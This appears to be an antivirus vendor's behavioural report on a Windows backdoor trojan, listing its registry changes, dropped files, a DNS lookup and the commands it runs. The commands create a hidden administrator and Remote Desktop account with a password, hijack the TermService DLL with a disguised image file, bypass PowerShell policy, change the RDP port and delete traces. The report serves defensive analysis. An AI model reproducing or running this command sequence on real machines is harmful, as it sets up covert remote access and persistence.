Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\system\currentcontrolset\services\TermService\parameters] 'ServiceDLL' = '%WINDIR%\branding\brandlogo.jpg'
- [<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
Modifies file system
Creates the following files
- %TEMP%\nsub681.tmp\blowfish.dll
- %TEMP%\tripo.zip
- %TEMP%\nsub681.tmp\system.dll
- %TEMP%\nsub681.tmp\nsunzip.dll
- %TEMP%\evil.ps1
- %WINDIR%\branding\brandlogo.jpg
- %WINDIR%\branding\microsoftmail.png
- %WINDIR%\branding\imagescache.xml
- <SYSTEM32>\rfxvmt.dll
- %WINDIR%\temp\usrnm.txt
- <SYSTEM32>\microsoft\protect\s-1-5-20\ac905847-9101-484e-b7d9-b97973a2607b
- <SYSTEM32>\microsoft\protect\s-1-5-20\preferred
- %PROGRAMDATA%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Deletes the following files
- %TEMP%\nsub681.tmp\blowfish.dll
- %TEMP%\nsub681.tmp\nsunzip.dll
- %TEMP%\nsub681.tmp\system.dll
Network activity
UDP
- DNS ASK ki####dzhara.xyz
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\evil.ps1
- '<SYSTEM32>\cmd.exe' /c timeout -t 15& powershell -ep bypass -f %TEMP%\evil.ps1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc Ghasar4f5 /del' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc nzTIdNVO /add' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" emqwhhk$ /ADD' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc nzTIdNVO' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c timeout -t 15& powershell -ep bypass -f %TEMP%\evil.ps1
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc Ghasar4f5 /del
- '<SYSTEM32>\net.exe' user WgaUtilAcc Ghasar4f5 /del
- '<SYSTEM32>\net1.exe' user WgaUtilAcc Ghasar4f5 /del
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc nzTIdNVO /add
- '<SYSTEM32>\net.exe' user WgaUtilAcc nzTIdNVO /add
- '<SYSTEM32>\net1.exe' user WgaUtilAcc nzTIdNVO /add
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
- '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" emqwhhk$ /ADD
- '<SYSTEM32>\net.exe' user WgaUtilAcc nzTIdNVO
- '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" emqwhhk$ /ADD
- '<SYSTEM32>\cmd.exe' /c del %temp%\*.ps1 /f
- '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" emqwhhk$ /ADD
- '<SYSTEM32>\cmd.exe' /c del %temp%\*.txt /f
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
- '<SYSTEM32>\net.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
- '<SYSTEM32>\net1.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc nzTIdNVO
- '<SYSTEM32>\net1.exe' start TermService
- '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
- '<SYSTEM32>\net.exe' start TermService
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant BUILTIN\Administrators:RX
- '<SYSTEM32>\timeout.exe' -t 15
- '<SYSTEM32>\takeown.exe' /A /F rfxvmt.dll
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /inheritance:d
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove BUILTIN\Administrators
- '<SYSTEM32>\reg.exe' ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
- '<SYSTEM32>\cmd.exe' /c cmd /c net start TermService
- '<SYSTEM32>\reg.exe' add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %WINDIR%\branding\brandlogo.jpg /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
- '<SYSTEM32>\net.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
- '<SYSTEM32>\net1.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
- '<SYSTEM32>\cmd.exe' /c cmd /c net start rdpdr
- '<SYSTEM32>\cmd.exe' /c net start rdpdr
- '<SYSTEM32>\net.exe' start rdpdr
- '<SYSTEM32>\net1.exe' start rdpdr
- '<SYSTEM32>\cmd.exe' /c net start TermService
- '<SYSTEM32>\net1.exe' user WgaUtilAcc nzTIdNVO
